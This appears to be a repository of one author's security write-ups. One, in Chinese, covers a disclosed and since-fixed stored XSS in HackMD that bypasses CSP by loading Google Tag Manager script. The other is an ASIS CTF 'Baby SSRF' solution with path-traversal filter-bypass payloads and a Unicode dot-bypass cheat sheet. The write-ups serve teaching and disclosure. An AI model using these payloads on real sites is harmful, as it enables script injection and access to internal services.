├── README.md
├── bugbounty_writeup
    └── HackMD_XSS_&_Bypass_CSP.md
└── ctf_writeups
    └── web
        └── baby_ssrf.md


/README.md:
--------------------------------------------------------------------------------
1 | # writeups
2 | My CTF & Bug Bounty writeups
3 | 


--------------------------------------------------------------------------------
/bugbounty_writeup/HackMD_XSS_&_Bypass_CSP.md:
--------------------------------------------------------------------------------
  1 | HackMD Stored XSS & Bypass CSP with Google Tag Manager
  2 | ===
  3 | 
  4 | 前一陣子 Orange 發表了一篇 [A Wormable XSS on HackMD!
  5 | ](https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html)
  6 | 
  7 | 剛好在那之前有跟著研究了一下這個漏洞，學習到了很多有關於 CSP 繞過的奇技淫巧
  8 | 
  9 | 當然這次利用到的 `Google Tag Manager` 我覺得也是一個蠻有趣的繞過方式，在後面也會藉此順便聊聊整個測試的思路以及最後怎麼利用 Google Tag Manager 繞過 CSP 並最終觸發 Stored XSS 
 10 | 
 11 | 比較有趣的是，上次在 Review `CodiMD` 的 Repo 之後，我本來以為已經沒有相較之下比較高風險的弱點了，但沒想到藉由夥伴意外的發現，重新仔細 Review 原始碼之後，竟然還發現有幾個已經存在兩年多的程式碼都沒有妥善的 escape，也就因此導致本次的 Stored XSS，這也告訴我們漏洞總會藏在我們意想不到的地方，並不是我們單方面認為沒漏洞就沒有的 XDDD
 12 | 
 13 | 
 14 | ## 漏洞成因
 15 | 
 16 | 最初會注意到這個漏洞，是因為朋友 HexRabbit 約在 3 月底發現同學利用 `graphviz` 語法撰寫 flowchart 時，在語法錯誤的情況下會額外跳出一個含有錯誤訊息的小方塊，並意外發現錯誤訊息中的 tag 並沒有被 filter，而且可以插入任意的 html，錯誤訊息如下方範例: 
 17 | 
 18 | ![](https://i.imgur.com/5RjrFH3.png)
 19 | 
 20 | 我們仔細追一下[原始碼](https://github.com/hackmdio/codimd/blob/1434cdb6b2e89cc771913ea1bd2c44779206196c/public/js/extra.js#L360)，會發現處理 graphviz 的部分為以下程式碼：
 21 | ```=javascript=1
 22 |   // graphviz
 23 |   var graphvizs = view.find('div.graphviz.raw').removeClass('raw')
 24 |   graphvizs.each(function (key, value) {
 25 |     try {
 26 |       var $value = $(value)
 27 |       var $ele = $(value).parent().parent()
 28 | 
 29 |       var graphviz = Viz($value.text())
 30 |       if (!graphviz) throw Error('viz.js output empty graph')
 31 |       $value.html(graphviz)
 32 | 
 33 |       $ele.addClass('graphviz')
 34 |       $value.children().unwrap().unwrap()
 35 |     } catch (err) {
 36 |       $value.unwrap()
 37 |       $value.parent().append('<div class="alert alert-warning">' + err + '</div>')
 38 |       console.warn(err)
 39 |     }
 40 | })
 41 | ```
 42 | 
 43 | 我們可以發現在 `$value.parent().append('<div class="alert alert-warning">' + err + '</div>')` 的地方，當發生錯誤時會直接 append `err` 訊息到 html 之中，完全沒有做任何的 escape，換句話說，我們只要想辦法在 error message 塞入惡意的 HTML 程式碼，就可以去任意執行 JavaScript
 44 | 
 45 | 另外一個部分就是，在測試的過程中，我發現這個 Stored XSS 還是有所限制的，最大長度只能輸入到 82 個字，再多就會被吃掉，也就是我們還要想辦法在 82 個字以內完成任意 JavaScript 的執行（其實一開始想到這邊我就有點卡住了，因為繞 CSP 構造的 Gadgets 或 jsonp 照經驗來說都會超過這個長度...）
 46 | 
 47 | ## CSP Bypass
 48 | 
 49 | 雖然我們得到了一個 Stored XSS，但是沒有預期的彈窗，我們從 Console 以及過往的經驗可以得知 HackMD 是有配置 CSP(Content Security Policy) 來阻擋未經授權的 JavaScript 執行的！而現階段的 CSP 代碼如下：
 50 | 
 51 | ```
 52 | script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' 
 53 | https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com 
 54 | https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com 
 55 | https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com 
 56 | https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com 
 57 | https://cdn.ravenjs.com https://browser.sentry-cdn.com 'nonce-6fea8a60-c394-470c-86bd-73259adc065d' 
 58 | 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 
 59 | 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' 
 60 | https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com 
 61 | https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: 
 62 | https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com; object-src *; media-src *; 
 63 | frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests
 64 | ```
 65 | 
 66 | 雖然 `unsafe-eval` 還在，但最難過的是 `https://cdnjs.cloudflare.com` 已經從 CSP 被拿掉了，所以我們不能使用這個方便的 domain 來 exploit，那還有什麼招可以使用呢？我們還是先把這條 CSP Rule 擺上 Google 提供的 [CSP Evaluator](https://csp-evaluator.withgoogle.com/) 來檢核
 67 | 
 68 | ![](https://i.imgur.com/65mrIIH.png)
 69 | 
 70 | 我們可以發現網站很快地列出了一些高風險的 domain 提供測試，但我們要如何快速的知道這些 domain 該如何利用呢？
 71 | 
 72 | 我們可以直接到 Google 在 GitHub 上的專案 `csp-evaluator` 上面尋找，於是我們透過[此專案](https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/json/jsonp.json)在 `whitelist_bypasses/json/jsonp.json` 目錄下的檔案，很快的知道其中三個 domain 的 jsonp 該如何使用：
 73 | 
 74 | * Viemo 
 75 |     * 長度過長，而且無法有效地控制內容
 76 |     * https://vimeo.com/api/oembed.json?format=json&callback=alert&url=https://vimeo.com/286898202
 77 | 
 78 | * www.google.com
 79 |     * 沒找到有效控制內容的方式
 80 |     * https://www.google.com/tools/feedback/escalation-options?callback=alert
 81 | 
 82 | * disqus
 83 |     * 無法有效控制內容
 84 |     * https://links.services.disqus.com/api/ping?format=jsonp&key=cfdfcf52dffd0a702a61bad27507376d
 85 | 
 86 | 
 87 | 以上這三個 domain 在測試過後都無法有效利用（也可能是我沒有找到正確的方法，還請各位多多指教），而另外兩個為 Google Tag Manager 的服務，分別是 `www.googletagmanager.com` 以及 `www.google-analytics.com`，之前查詢資料的過程中，曾經看到 kobo 的這篇部落格[Content Security Policy Level 3におけるXSS対策](https://inside.pixiv.blog/kobo/5137)
 88 | 
 89 | ![csp](https://inside.pixiv.blog/wp-content/uploads/2018/10/csp-bypass-chart.png)
 90 | 
 91 | CSP rule 如果在 `script-src` 同時有 `www.google-analytics.com` 以及 `unsafe-eval` 的話，就可以執行任意的 JavaScript，到這裡還不是很確定是否可以 Exploit，於是我們馬上動手試試，首先開啟 Google Tag Manager，設定一個變數，並放入你想要執行的 JavaScript
 92 | 
 93 | ![](https://i.imgur.com/K863Bl0.png)
 94 | 
 95 | 接著開啟代碼設定，將這個變數放入任一位置（只要讓變數載入就好），並設定觸發事件
 96 | 
 97 | ![](https://i.imgur.com/MtfzBku.png)
 98 | 
 99 | 產生完畢後會得到屬於你的 GA link：
100 | * https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V
101 | 
102 | 最後只要放入原本就有支援 GA 的 HackMD，我們就會發現 JavaScript 程式碼被執行
103 | 
104 | 至此，我們就成功繞過 CSP 以及能夠執行任意長度的代碼了！以下是最終代碼：
105 | 
106 | ```
107 | ```graphviz
108 | graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V">
109 | 
110 | ```
111 | 
112 | Demo 影片如下： https://www.youtube.com/watch?v=m8Q9hX9jBFM
113 | 
114 | ## 後記
115 | 
116 | 當看到 `unsafe-eval` 的時候，其實第一篇想到的是 [Breaking XSS mitigations via Script Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf)，但最尷尬的是這次的 XSS 限制 82 bytes，串起一個 Gadgets 很容易就超過了，所以一開始就沒有往這個方向挖掘 XD
117 | 
118 | 另外這個漏洞已經修復了，可以參考此 [Pull Request](https://github.com/hackmdio/codimd/pull/1193)
119 | 
120 | 最後感謝 [@HexRabbit](https://github.com/HexRabbit/) 發現這個 XSS 的注入點，讓我們能發現好玩的方法 Bypass CSP！
121 | 


--------------------------------------------------------------------------------
/ctf_writeups/web/baby_ssrf.md:
--------------------------------------------------------------------------------
  1 | # ASIS CTF quals - 2019
  2 | 
  3 | ## Baby SSRF - 70 / Web
  4 | 
  5 | Description:
  6 | The goats thought they were safe behind the walls from the threat of the wolf!
  7 | But they were not aware of the wolf's plan to bypass the wall!
  8 | 
  9 | [中文版](https://github.com/k1tten/writeups/blob/master/ctf_writeups/web/baby_ssrf.md#solution---zh-tw)
 10 | 
 11 | [English](https://github.com/k1tten/writeups/blob/master/ctf_writeups/web/baby_ssrf.md#solution---en)
 12 | 
 13 | ### Solution - EN
 14 | 
 15 | The first hint was in the header, then we can get the source code:
 16 | 
 17 | ```
 18 | HTTP/1.1 200 OK
 19 | X-Powered-By: Express
 20 | GET: source
 21 | Content-Type: text/html; charset=utf-8
 22 | Content-Length: 22
 23 | ETag: W/"16-Ypo4AziLbHOiFWFpNXHkFH9U8Dc"
 24 | Date: Tue, 23 Apr 2019 16:55:11 GMT
 25 | Connection: close
 26 | 
 27 | Hi, I'm a baby ssrf :)
 28 | ```
 29 | 
 30 | Here's the source code.
 31 | 
 32 | ```=node.js=1
 33 | const express = require("express");
 34 | const body_parser = require('body-parser');
 35 | const http = require('http')
 36 | const public_s = express();
 37 | const private_s = express();
 38 | const normalizeUrl = require('normalize-url');
 39 | 
 40 | public_s.use(body_parser.urlencoded({
 41 |     extended: true
 42 | }));
 43 | 
 44 | public_s.get('/', function (request, result) {
 45 |     result.setHeader('GET', 'source')
 46 |     result.send("Hi, I'm a baby ssrf :)")
 47 |     result.end()
 48 | })
 49 | 
 50 | public_s.get('/source', function(req, res) {
 51 |     res.sendFile(__filename)
 52 |   })
 53 | 
 54 | public_s.use(function (req, res, next) {
 55 |     var err = null;
 56 |     try {
 57 |         decodeURIComponent(req.path)
 58 |     } catch (e) {
 59 |         err = e;
 60 |     }
 61 |     if (err) {
 62 |         res.sendStatus(400).end()
 63 |     }
 64 |     next();
 65 | });
 66 | 
 67 | public_s.post('/open/', (request, result) => {
 68 |     document_name = request.body.document_name
 69 | 
 70 |     if (document_name === undefined) {
 71 |         result.end('bad')
 72 |     }
 73 |     console.log('http://localhost:9000/documents/' + document_name)
 74 |     if (document_name.indexOf('.') >= 0 ||
 75 |         document_name.indexOf("2e") >= 0 ||
 76 |         document_name.indexOf("┮") >= 0 ||
 77 |         document_name.indexOf("Ｅ") >= 0 ||
 78 |         document_name.indexOf("Ｎ") >= 0) {
 79 |         result.end('Please get your banana and leave!')
 80 |     } else {
 81 |         try {
 82 |             var go_url = normalizeUrl('http://localhost:9000/documents/' + document_name)
 83 |         } catch(error) {
 84 |             var go_url = 'http://localhost:9000/documents/banana'
 85 |         }
 86 |         http.get(go_url, function (res) {
 87 |             res.setEncoding('utf8');
 88 | 
 89 |             if (res.statusCode == 200) {
 90 |                 res.on('data', function (chunk) {
 91 |                     result.send(chunk)
 92 |                     result.end()
 93 |                 });
 94 |             } else {
 95 |                 result.end('Oops')
 96 |             }
 97 |         }).on('error', function (e) {
 98 |             console.log("Got error: " + e.message);
 99 |         });
100 |     }
101 | })
102 | 
103 | public_s.listen(8000)
104 | private_s.listen(9000)
105 | 
106 | private_s.get('/documents/banana', function (request, result) {
107 |     result.send("Here is your banana :D")
108 |     result.end()
109 | })
110 | 
111 | private_s.get('/flag', function (request, result) {
112 |     result.send("flag{flag_is_here}")
113 |     result.end()
114 | })
115 | ```
116 | 
117 | We have to access the `http://localhost:9000/flag` to get flag.
118 | But the common symbols to do path traversal was blocked：`.`, `2e`
119 | 
120 | Even the unicode bypass char was blocked：`┮`, `Ｎ`
121 | (from Orange Tsai：[A New Era Of SSRF](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))
122 | 
123 | It uses normalizeUrl() to encode unicode character, so the unicode failure seems not working here.
124 | 
125 | ```
126 | Origin:    http://localhost:9001/documents/ＮＮ
127 | Normalize: http://localhost:9001/documents/%EF%BC%AE%EF%BC%AE
128 | ```
129 | 
130 | And I don't know why to block the char `Ｅ` XDDDD
131 | 
132 | After few tries on the local, we can bypass easily by triple encoding、request with object type.
133 | You could even just use `%2E` because of the block char `%2e` wasn't case sensitive.
134 | 
135 | ```
136 | ### console.log for test ###
137 | 
138 | console.log('Origin:    http://localhost:9001/documents/' + document_name)
139 | console.log('Normalize: ' + normalizeUrl('http://localhost:9001/documents/' + document_name))
140 | console.log('Typeof:    ' + typeof(document_name))
141 | console.log('indexOf(.):' + document_name.indexOf('.'))
142 | 
143 | ######
144 | 
145 | #1 bypass with triple encoding
146 | Request args：document_name_get=%25%32%45%25%32%45/flag
147 | Origin:    http://localhost:9001/documents/%2E%2E/flag
148 | Normalize: http://localhost:9001/flag
149 | Typeof:    string
150 | indexOf(.):-1
151 | 
152 | #2 bypass with case sensitive
153 | Request args：document_name_get=%252E%252E/flag
154 | Origin:    http://localhost:9001/documents/%2E%2E/flag
155 | Normalize: http://localhost:9001/flag
156 | Typeof:    string
157 | indexOf(.):-1
158 | 
159 | #3 bypass with object
160 | Request args：document_name_get=foo&document_name_get=/../../flag
161 | Origin:    http://localhost:9001/documents/foo,/../../flag
162 | Normalize: http://localhost:9001/flag
163 | Typeof:    object
164 | indexOf(.):-1
165 | ```
166 | 
167 | `ASIS{68aaf2e4dd0e7ba28622aaed383bef4f}`
168 | 
169 | ### Solution - ZH-TW
170 | 
171 | 第一個提示藏在 Header 裡面，我們可以看到 `GET: source`，所以可以直接使用 `GET /source` 取得原始碼
172 | 
173 | ```
174 | HTTP/1.1 200 OK
175 | X-Powered-By: Express
176 | GET: source
177 | Content-Type: text/html; charset=utf-8
178 | Content-Length: 22
179 | ETag: W/"16-Ypo4AziLbHOiFWFpNXHkFH9U8Dc"
180 | Date: Tue, 23 Apr 2019 16:55:11 GMT
181 | Connection: close
182 | 
183 | Hi, I'm a baby ssrf :)
184 | ```
185 | 
186 | 下方這邊就是題目的原始碼，接下來我們就稍微 review 一下
187 | 
188 | ```=node.js=1
189 | const express = require("express");
190 | const body_parser = require('body-parser');
191 | const http = require('http')
192 | const public_s = express();
193 | const private_s = express();
194 | const normalizeUrl = require('normalize-url');
195 | 
196 | public_s.use(body_parser.urlencoded({
197 |     extended: true
198 | }));
199 | 
200 | public_s.get('/', function (request, result) {
201 |     result.setHeader('GET', 'source')
202 |     result.send("Hi, I'm a baby ssrf :)")
203 |     result.end()
204 | })
205 | 
206 | public_s.get('/source', function(req, res) {
207 |     res.sendFile(__filename)
208 |   })
209 | 
210 | public_s.use(function (req, res, next) {
211 |     var err = null;
212 |     try {
213 |         decodeURIComponent(req.path)
214 |     } catch (e) {
215 |         err = e;
216 |     }
217 |     if (err) {
218 |         res.sendStatus(400).end()
219 |     }
220 |     next();
221 | });
222 | 
223 | public_s.post('/open/', (request, result) => {
224 |     document_name = request.body.document_name
225 | 
226 |     if (document_name === undefined) {
227 |         result.end('bad')
228 |     }
229 |     console.log('http://localhost:9000/documents/' + document_name)
230 |     if (document_name.indexOf('.') >= 0 ||
231 |         document_name.indexOf("2e") >= 0 ||
232 |         document_name.indexOf("┮") >= 0 ||
233 |         document_name.indexOf("Ｅ") >= 0 ||
234 |         document_name.indexOf("Ｎ") >= 0) {
235 |         result.end('Please get your banana and leave!')
236 |     } else {
237 |         try {
238 |             var go_url = normalizeUrl('http://localhost:9000/documents/' + document_name)
239 |         } catch(error) {
240 |             var go_url = 'http://localhost:9000/documents/banana'
241 |         }
242 |         http.get(go_url, function (res) {
243 |             res.setEncoding('utf8');
244 | 
245 |             if (res.statusCode == 200) {
246 |                 res.on('data', function (chunk) {
247 |                     result.send(chunk)
248 |                     result.end()
249 |                 });
250 |             } else {
251 |                 result.end('Oops')
252 |             }
253 |         }).on('error', function (e) {
254 |             console.log("Got error: " + e.message);
255 |         });
256 |     }
257 | })
258 | 
259 | public_s.listen(8000)
260 | private_s.listen(9000)
261 | 
262 | private_s.get('/documents/banana', function (request, result) {
263 |     result.send("Here is your banana :D")
264 |     result.end()
265 | })
266 | 
267 | private_s.get('/flag', function (request, result) {
268 |     result.send("flag{flag_is_here}")
269 |     result.end()
270 | })
271 | ```
272 | 
273 | Review 後，我們知道必須透過 SSRF 訪問 `http://localhost:9000/flag` 來取得 flag
274 | 
275 | 但是用來 path traversal 的字元都被 blocked 了，例如：`.`、`2e`，我們必須尋找其他的方法
276 | 
277 | 另外也有其他的 unicode 也被放進黑名單了：`┮`, `Ｎ`
278 | (from Orange Tsai：[A New Era Of SSRF](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))
279 | 
280 | 但是 normalizeUrl() 會 encode unicode 的字元，所以上面提到利用 unicode bypass 的方式並不可行...
281 | 
282 | encode 後的效果大概就如下方，所以真的沒有任何幫助
283 | 
284 | ```
285 | Origin:    http://localhost:9001/documents/ＮＮ
286 | Normalize: http://localhost:9001/documents/%EF%BC%AE%EF%BC%AE
287 | ```
288 | 
289 | 然後我不知道為什麼要把 `Ｅ` 放進黑名單，就算是 unicode bypass 的方法好像也不關這個字元的事情...
290 | 
291 | （可以參考最後面的 Bonus）
292 | 
293 | 再經過本地端的一些測試之後，我們可以發現有幾種方式可以簡單的 bypass 並且直接取得 flag！（這題真的蠻簡單的）
294 | 
295 | 1. triple encoding
296 | 2. 利用傳遞重複參數名稱使物件型別變成 Object 使 indexOf 失效
297 | 3. 利用 `%2E`（因為這邊只限制小寫的 `%2e` XD）
298 | ```
299 | ### console.log for test ###
300 | 
301 | console.log('Origin:    http://localhost:9001/documents/' + document_name)
302 | console.log('Normalize: ' + normalizeUrl('http://localhost:9001/documents/' + document_name))
303 | console.log('Typeof:    ' + typeof(document_name))
304 | console.log('indexOf(.):' + document_name.indexOf('.'))
305 | 
306 | ######
307 | 
308 | #1 bypass with triple encoding
309 | Request args：document_name_get=%25%32%45%25%32%45/flag
310 | Origin:    http://localhost:9001/documents/%2E%2E/flag
311 | Normalize: http://localhost:9001/flag
312 | Typeof:    string
313 | indexOf(.):-1
314 | 
315 | #2 bypass with case sensitive
316 | Request args：document_name_get=%252E%252E/flag
317 | Origin:    http://localhost:9001/documents/%2E%2E/flag
318 | Normalize: http://localhost:9001/flag
319 | Typeof:    string
320 | indexOf(.):-1
321 | 
322 | #3 bypass with object
323 | Request args：document_name_get=foo&document_name_get=/../../flag
324 | Origin:    http://localhost:9001/documents/foo,/../../flag
325 | Normalize: http://localhost:9001/flag
326 | Typeof:    object
327 | indexOf(.):-1
328 | ```
329 | 
330 | `ASIS{68aaf2e4dd0e7ba28622aaed383bef4f}`
331 | 
332 | 
333 | ### Reference
334 | 
335 | https://blog.ssrf.in/post/nodejs-unicode-encoding-and-ssrf/
336 | 
337 | https://mathiasbynens.be/notes/javascript-encoding
338 | 
339 | 
340 | 
341 | ## Bonus: Node.js dot bypass cheat sheet
342 | 
343 | ```
344 | Decimal	HEX	Character
345 | 1	01	Į
346 | 2	02	Ȯ
347 | 3	03	̮
348 | 4	04	Ю
349 | 5	05	Ԯ
350 | 6	06	خ
351 | 7	07	ܮ
352 | 8	08	࠮
353 | 9	09	म
354 | 10	0a	ਮ
355 | 11	0b	ମ
356 | 12	0c	మ
357 | 13	0d	മ
358 | 14	0e	ฮ
359 | 15	0f	༮
360 | 16	10	ီ
361 | 17	11	ᄮ
362 | 18	12	ሮ
363 | 19	13	ጮ
364 | 20	14	ᐮ
365 | 21	15	ᔮ
366 | 22	16	ᘮ
367 | 23	17	ᜮ
368 | 24	18	ᠮ
369 | 25	19	᤮
370 | 26	1a	ᨮ
371 | 27	1b	ᬮ
372 | 28	1c	ᰮ
373 | 29	1d	ᴮ
374 | 30	1e	Ḯ
375 | 31	1f	Ἦ
376 | 32	20	‮
377 | 33	21	℮
378 | 34	22	∮
379 | 35	23	⌮
380 | 36	24	␮
381 | 37	25	┮
382 | 38	26	☮
383 | 39	27	✮
384 | 40	28	⠮
385 | 41	29	⤮
386 | 42	2a	⨮
387 | 43	2b	⬮
388 | 44	2c	Ⱞ
389 | 45	2d	⴮
390 | 46	2e	⸮
391 | 47	2f	⼮
392 | 48	30	〮
393 | 49	31	ㄮ
394 | 50	32	㈮
395 | 51	33	㌮
396 | 52	34	㐮
397 | 53	35	㔮
398 | 54	36	㘮
399 | 55	37	㜮
400 | 56	38	㠮
401 | 57	39	㤮
402 | 58	3a	㨮
403 | 59	3b	㬮
404 | 60	3c	㰮
405 | 61	3d	㴮
406 | 62	3e	㸮
407 | 63	3f	㼮
408 | 64	40	䀮
409 | 65	41	䄮
410 | 66	42	䈮
411 | 67	43	䌮
412 | 68	44	䐮
413 | 69	45	䔮
414 | 70	46	䘮
415 | 71	47	䜮
416 | 72	48	䠮
417 | 73	49	䤮
418 | 74	4a	䨮
419 | 75	4b	䬮
420 | 76	4c	䰮
421 | 77	4d	䴮
422 | 78	4e	丮
423 | 79	4f	伮
424 | 80	50	倮
425 | 81	51	儮
426 | 82	52	刮
427 | 83	53	匮
428 | 84	54	吮
429 | 85	55	售
430 | 86	56	嘮
431 | 87	57	圮
432 | 88	58	堮
433 | 89	59	央
434 | 90	5a	娮
435 | 91	5b	嬮
436 | 92	5c	尮
437 | 93	5d	崮
438 | 94	5e	帮
439 | 95	5f	弮
440 | 96	60	怮
441 | 97	61	愮
442 | 98	62	戮
443 | 99	63	挮
444 | 100	64	搮
445 | 101	65	攮
446 | 102	66	昮
447 | 103	67	朮
448 | 104	68	栮
449 | 105	69	椮
450 | 106	6a	樮
451 | 107	6b	欮
452 | 108	6c	氮
453 | 109	6d	洮
454 | 110	6e	渮
455 | 111	6f	漮
456 | 112	70	瀮
457 | 113	71	焮
458 | 114	72	爮
459 | 115	73	献
460 | 116	74	琮
461 | 117	75	甮
462 | 118	76	瘮
463 | 119	77	眮
464 | 120	78	砮
465 | 121	79	礮
466 | 122	7a	種
467 | 123	7b	笮
468 | 124	7c	簮
469 | 125	7d	紮
470 | 126	7e	縮
471 | 127	7f	缮
472 | 128	80	耮
473 | 129	81	脮
474 | 130	82	舮
475 | 131	83	茮
476 | 132	84	萮
477 | 133	85	蔮
478 | 134	86	蘮
479 | 135	87	蜮
480 | 136	88	蠮
481 | 137	89	褮
482 | 138	8a	訮
483 | 139	8b	謮
484 | 140	8c	谮
485 | 141	8d	贮
486 | 142	8e	踮
487 | 143	8f	輮
488 | 144	90	逮
489 | 145	91	鄮
490 | 146	92	鈮
491 | 147	93	錮
492 | 148	94	鐮
493 | 149	95	键
494 | 150	96	阮
495 | 151	97	霮
496 | 152	98	頮
497 | 153	99	餮
498 | 154	9a	騮
499 | 155	9b	鬮
500 | 156	9c	鰮
501 | 157	9d	鴮
502 | 158	9e	鸮
503 | 159	9f	鼮
504 | 160	a0	ꀮ
505 | 161	a1	ꄮ
506 | 162	a2	ꈮ
507 | 163	a3	ꌮ
508 | 164	a4	ꐮ
509 | 165	a5	ꔮ
510 | 166	a6	꘮
511 | 167	a7	Ꜯ
512 | 168	a8	꠮
513 | 169	a9	꤮
514 | 170	aa	ꨮ
515 | 171	ab	ꬮ
516 | 172	ac	갮
517 | 173	ad	괮
518 | 174	ae	긮
519 | 175	af	꼮
520 | 176	b0	뀮
521 | 177	b1	넮
522 | 178	b2	눮
523 | 179	b3	댮
524 | 180	b4	됮
525 | 181	b5	딮
526 | 182	b6	똮
527 | 183	b7	뜮
528 | 184	b8	렮
529 | 185	b9	뤮
530 | 186	ba	먮
531 | 187	bb	묮
532 | 188	bc	밮
533 | 189	bd	봮
534 | 190	be	븮
535 | 191	bf	뼮
536 | 192	c0	쀮
537 | 193	c1	섮
538 | 194	c2	숮
539 | 195	c3	쌮
540 | 196	c4	쐮
541 | 197	c5	씮
542 | 198	c6	옮
543 | 199	c7	윮
544 | 200	c8	젮
545 | 201	c9	줮
546 | 202	ca	쨮
547 | 203	cb	쬮
548 | 204	cc	찮
549 | 205	cd	촮
550 | 206	ce	츮
551 | 207	cf	켮
552 | 208	d0	퀮
553 | 209	d1	턮
554 | 210	d2	툮
555 | 211	d3	팮
556 | 212	d4	퐮
557 | 213	d5	픮
558 | 214	d6	혮
559 | 215	d7	휮
560 | 224	e0	
561 | 225	e1	
562 | 226	e2	
563 | 227	e3	
564 | 228	e4	
565 | 229	e5	
566 | 230	e6	
567 | 231	e7	
568 | 232	e8	
569 | 233	e9	
570 | 234	ea	
571 | 235	eb	
572 | 236	ec	
573 | 237	ed	
574 | 238	ee	
575 | 239	ef	
576 | 240	f0	
577 | 241	f1	
578 | 242	f2	
579 | 243	f3	
580 | 244	f4	
581 | 245	f5	
582 | 246	f6	
583 | 247	f7	
584 | 248	f8	
585 | 249	f9	冷
586 | 250	fa	郞
587 | 251	fb	אַ
588 | 252	fc	ﰮ
589 | 253	fd	ﴮ
590 | 254	fe	︮
591 | 255	ff	Ｎ
592 | ```
593 | 
594 | #ssrf #Node.js
595 | 


--------------------------------------------------------------------------------